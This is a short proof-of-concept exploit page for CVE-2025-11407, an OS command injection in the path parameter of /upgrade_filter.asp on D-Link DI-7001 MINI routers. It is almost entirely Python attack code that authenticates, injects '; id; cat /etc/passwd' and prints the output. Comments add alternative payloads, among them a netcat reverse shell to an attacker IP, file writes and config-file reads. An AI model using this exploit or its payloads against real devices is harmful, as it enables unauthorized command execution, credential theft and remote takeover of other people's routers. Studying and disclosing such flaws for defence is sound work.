CVE-2025-11407：D-Link DI-7001 MINI 操作系统命令注入漏洞

# CVE-2025-11407 - D-Link DI-7001 MINI OS Command Injection PoC # Vulnerability: OS Command Injection via path parameter in /upgrade_filter.asp # Affected: D-Link DI-7001 MINI firmware 24.04.18B1 import requests from requests.auth import HTTPBasicAuth TARGET_URL = "http://target-device-ip" USERNAME = "admin" # Low privilege credentials required PASSWORD = "password" # Malicious path payload with command injection # The semicolon terminates the original command and executes our injected command INJECTION_PAYLOAD = "; id; cat /etc/passwd" # Step 1: Authenticate to obtain session cookie session = requests.Session() login_url = f"{TARGET_URL}/login.asp" login_data = { "username": USERNAME, "password": PASSWORD } response = session.post(login_url, data=login_data) # Step 2: Exploit command injection via path parameter vulnerable_endpoint = f"{TARGET_URL}/upgrade_filter.asp" params = { "path": INJECTION_PAYLOAD } response = session.get(vulnerable_endpoint, params=params) print(f"Status Code: {response.status_code}") print(f"Response Body:\n{response.text}") # Alternative payload examples: # Reverse shell: "; nc -e /bin/sh attacker_ip 4444 # # Write file: "; echo 'pwned' > /tmp/pwned.txt # # Read config: "; cat /etc/config/router.conf #